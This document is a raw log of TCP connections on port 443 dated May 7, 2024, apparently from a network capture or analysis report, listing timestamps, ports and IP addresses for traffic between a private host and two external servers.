May 7, 2024 20:31:20.449923992 CEST	443	49771	5.230.47.86	192.168.2.4
May 7, 2024 20:31:20.449990034 CEST	49771	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:20.450608015 CEST	49770	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:20.450640917 CEST	443	49770	5.230.47.86	192.168.2.4
May 7, 2024 20:31:20.451107025 CEST	49771	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:20.451127052 CEST	443	49771	5.230.47.86	192.168.2.4
May 7, 2024 20:31:20.794421911 CEST	443	49770	5.230.47.86	192.168.2.4
May 7, 2024 20:31:20.794680119 CEST	49770	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:20.794708967 CEST	443	49770	5.230.47.86	192.168.2.4
May 7, 2024 20:31:20.795933962 CEST	443	49770	5.230.47.86	192.168.2.4
May 7, 2024 20:31:20.795996904 CEST	49770	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:20.797137022 CEST	49770	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:20.797209024 CEST	443	49770	5.230.47.86	192.168.2.4
May 7, 2024 20:31:20.797404051 CEST	49770	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:20.797419071 CEST	443	49770	5.230.47.86	192.168.2.4
May 7, 2024 20:31:20.802062988 CEST	443	49771	5.230.47.86	192.168.2.4
May 7, 2024 20:31:20.802294970 CEST	49771	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:20.802323103 CEST	443	49771	5.230.47.86	192.168.2.4
May 7, 2024 20:31:20.803335905 CEST	443	49771	5.230.47.86	192.168.2.4
May 7, 2024 20:31:20.803503036 CEST	49771	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:20.803958893 CEST	49771	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:20.804023027 CEST	443	49771	5.230.47.86	192.168.2.4
May 7, 2024 20:31:20.850276947 CEST	49770	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:20.912297010 CEST	49771	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:20.912332058 CEST	443	49771	5.230.47.86	192.168.2.4
May 7, 2024 20:31:21.034003019 CEST	49771	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:21.142785072 CEST	443	49770	5.230.47.86	192.168.2.4
May 7, 2024 20:31:21.143399954 CEST	49770	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:21.143424988 CEST	443	49770	5.230.47.86	192.168.2.4
May 7, 2024 20:31:21.143474102 CEST	49770	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:21.145384073 CEST	49771	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:21.192126989 CEST	443	49771	5.230.47.86	192.168.2.4
May 7, 2024 20:31:21.321580887 CEST	443	49771	5.230.47.86	192.168.2.4
May 7, 2024 20:31:21.321605921 CEST	443	49771	5.230.47.86	192.168.2.4
May 7, 2024 20:31:21.321677923 CEST	49771	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:21.321703911 CEST	443	49771	5.230.47.86	192.168.2.4
May 7, 2024 20:31:21.321722031 CEST	443	49771	5.230.47.86	192.168.2.4
May 7, 2024 20:31:21.321760893 CEST	49771	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:21.323131084 CEST	49771	443	192.168.2.4	5.230.47.86
May 7, 2024 20:31:21.323144913 CEST	443	49771	5.230.47.86	192.168.2.4
May 7, 2024 20:31:21.438044071 CEST	49772	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:21.438085079 CEST	443	49772	104.17.3.184	192.168.2.4
May 7, 2024 20:31:21.438328981 CEST	49772	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:21.438560009 CEST	49772	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:21.438572884 CEST	443	49772	104.17.3.184	192.168.2.4
May 7, 2024 20:31:21.614979029 CEST	443	49772	104.17.3.184	192.168.2.4
May 7, 2024 20:31:21.615458965 CEST	49772	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:21.615480900 CEST	443	49772	104.17.3.184	192.168.2.4
May 7, 2024 20:31:21.616920948 CEST	443	49772	104.17.3.184	192.168.2.4
May 7, 2024 20:31:21.617033958 CEST	49772	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:21.618030071 CEST	49772	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:21.618105888 CEST	443	49772	104.17.3.184	192.168.2.4
May 7, 2024 20:31:21.618345022 CEST	49772	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:21.618350983 CEST	443	49772	104.17.3.184	192.168.2.4
May 7, 2024 20:31:21.664005041 CEST	49772	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:21.836874008 CEST	443	49772	104.17.3.184	192.168.2.4
May 7, 2024 20:31:21.836944103 CEST	443	49772	104.17.3.184	192.168.2.4
May 7, 2024 20:31:21.837236881 CEST	49772	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:21.837414026 CEST	49772	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:21.837428093 CEST	443	49772	104.17.3.184	192.168.2.4
May 7, 2024 20:31:21.837447882 CEST	49772	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:21.837538958 CEST	49772	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:21.839216948 CEST	49773	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:21.839242935 CEST	443	49773	104.17.3.184	192.168.2.4
May 7, 2024 20:31:21.839315891 CEST	49773	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:21.839545965 CEST	49773	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:21.839555979 CEST	443	49773	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.012562990 CEST	443	49773	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.012918949 CEST	49773	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.012933969 CEST	443	49773	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.013267994 CEST	443	49773	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.013746977 CEST	49773	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.013819933 CEST	443	49773	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.013895035 CEST	49773	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.060125113 CEST	443	49773	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.236948967 CEST	443	49773	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.236994028 CEST	443	49773	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.237021923 CEST	443	49773	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.237051010 CEST	443	49773	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.237059116 CEST	49773	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.237082005 CEST	443	49773	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.237102032 CEST	49773	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.237134933 CEST	443	49773	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.237174034 CEST	443	49773	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.237209082 CEST	443	49773	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.237224102 CEST	49773	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.237231016 CEST	443	49773	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.237246037 CEST	49773	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.237261057 CEST	443	49773	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.237283945 CEST	443	49773	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.237309933 CEST	49773	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.237315893 CEST	443	49773	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.237360001 CEST	49773	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.237688065 CEST	443	49773	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.237766027 CEST	443	49773	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.237788916 CEST	443	49773	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.237813950 CEST	443	49773	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.237828970 CEST	49773	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.237835884 CEST	443	49773	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.237860918 CEST	49773	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.238615036 CEST	443	49773	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.238662958 CEST	443	49773	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.238670111 CEST	49773	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.238676071 CEST	443	49773	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.238713980 CEST	443	49773	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.238724947 CEST	49773	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.238729954 CEST	443	49773	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.238754034 CEST	443	49773	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.238799095 CEST	49773	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.238806009 CEST	443	49773	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.238856077 CEST	49773	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.239506006 CEST	443	49773	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.239569902 CEST	443	49773	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.239593029 CEST	443	49773	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.239623070 CEST	443	49773	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.239641905 CEST	49773	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.239648104 CEST	443	49773	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.239662886 CEST	49773	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.239675045 CEST	443	49773	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.239764929 CEST	49773	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.239772081 CEST	443	49773	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.240374088 CEST	443	49773	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.240420103 CEST	49773	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.240425110 CEST	443	49773	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.240441084 CEST	443	49773	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.240478992 CEST	49773	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.282686949 CEST	49773	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.282732010 CEST	443	49773	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.479130030 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.479193926 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.479269028 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.479496002 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.479510069 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.651423931 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.651875019 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.651899099 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.652920008 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.652996063 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.653264046 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.653326035 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.653440952 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.653449059 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.699935913 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.874537945 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.874648094 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.874677896 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.874706030 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.874703884 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.874735117 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.874779940 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.874785900 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.874825001 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.874831915 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.874880075 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.874902964 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.874922037 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.874927998 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.874977112 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.875360966 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.875430107 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.875469923 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.875499964 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.875516891 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.875524044 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.875566006 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.875571012 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.875619888 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.876223087 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.876298904 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.876324892 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.876359940 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.876372099 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.876388073 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.876415968 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.876435041 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.876465082 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.876507044 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.876513004 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.877074957 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.877223969 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.877280951 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.877311945 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.877329111 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.877336025 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.877362967 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.877374887 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.877382994 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.877424955 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.877429962 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.878062963 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.878099918 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.878118038 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.878123999 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.878154993 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.878200054 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.878204107 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.878217936 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.878237963 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.878283024 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.878326893 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.878333092 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.878917933 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.878962994 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.878968000 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.878999949 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.879045963 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.879046917 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.879057884 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.879098892 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.879108906 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.879115105 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.879170895 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.879751921 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.879853964 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.879894018 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.879895926 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.879904032 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.879956961 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.879961967 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.880017996 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.880091906 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.880096912 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.907299995 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.907344103 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.907428026 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.907671928 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.907681942 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.927687883 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.958225012 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.958380938 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.958429098 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.958434105 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.958461046 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.958502054 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.958511114 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.958537102 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.958677053 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.958683968 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.959136009 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.959187031 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.959192991 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.959295988 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.959333897 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.959340096 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.959366083 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.959403992 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.959408045 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.959419012 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.959458113 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.959465027 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.959733009 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.959778070 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.959783077 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.959860086 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.959960938 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.959965944 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.960005045 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.960052013 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.960150957 CEST	49774	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.960164070 CEST	443	49774	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.964447975 CEST	49776	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.964473009 CEST	443	49776	104.17.3.184	192.168.2.4
May 7, 2024 20:31:22.964540005 CEST	49776	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.964721918 CEST	49776	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:22.964732885 CEST	443	49776	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.080538988 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.080813885 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.080836058 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.081156969 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.081528902 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.081582069 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.081830978 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.128124952 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.136375904 CEST	443	49776	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.137104988 CEST	49776	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.137115955 CEST	443	49776	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.137458086 CEST	443	49776	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.137943029 CEST	49776	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.138005018 CEST	443	49776	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.138237000 CEST	49776	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.184124947 CEST	443	49776	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.323005915 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.323052883 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.323085070 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.323106050 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.323113918 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.323123932 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.323180914 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.323194027 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.323244095 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.323267937 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.323316097 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.323359966 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.323365927 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.323436975 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.323487997 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.323493004 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.323540926 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.323676109 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.323681116 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.323985100 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.324037075 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.324038982 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.324045897 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.324081898 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.324086905 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.324162006 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.324202061 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.324206114 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.324548006 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.324589968 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.324595928 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.324604034 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.324646950 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.324651957 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.324678898 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.324736118 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.324785948 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.324789047 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.324795008 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.324831009 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.324836016 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.324877024 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.324881077 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.325647116 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.325709105 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.325712919 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.325784922 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.325828075 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.325833082 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.325896025 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.325967073 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.325972080 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.325977087 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.326023102 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.326029062 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.326430082 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.326493025 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.326538086 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.326545954 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.326576948 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.326587915 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.326594114 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.326647997 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.326653004 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.326714993 CEST	443	49775	104.17.3.184	192.168.2.4
May 7, 2024 20:31:23.326761007 CEST	49775	443	192.168.2.4	104.17.3.184
May 7, 2024 20:31:23.326766014 CEST	443	49775	104.17.3.184	192.168.2.4
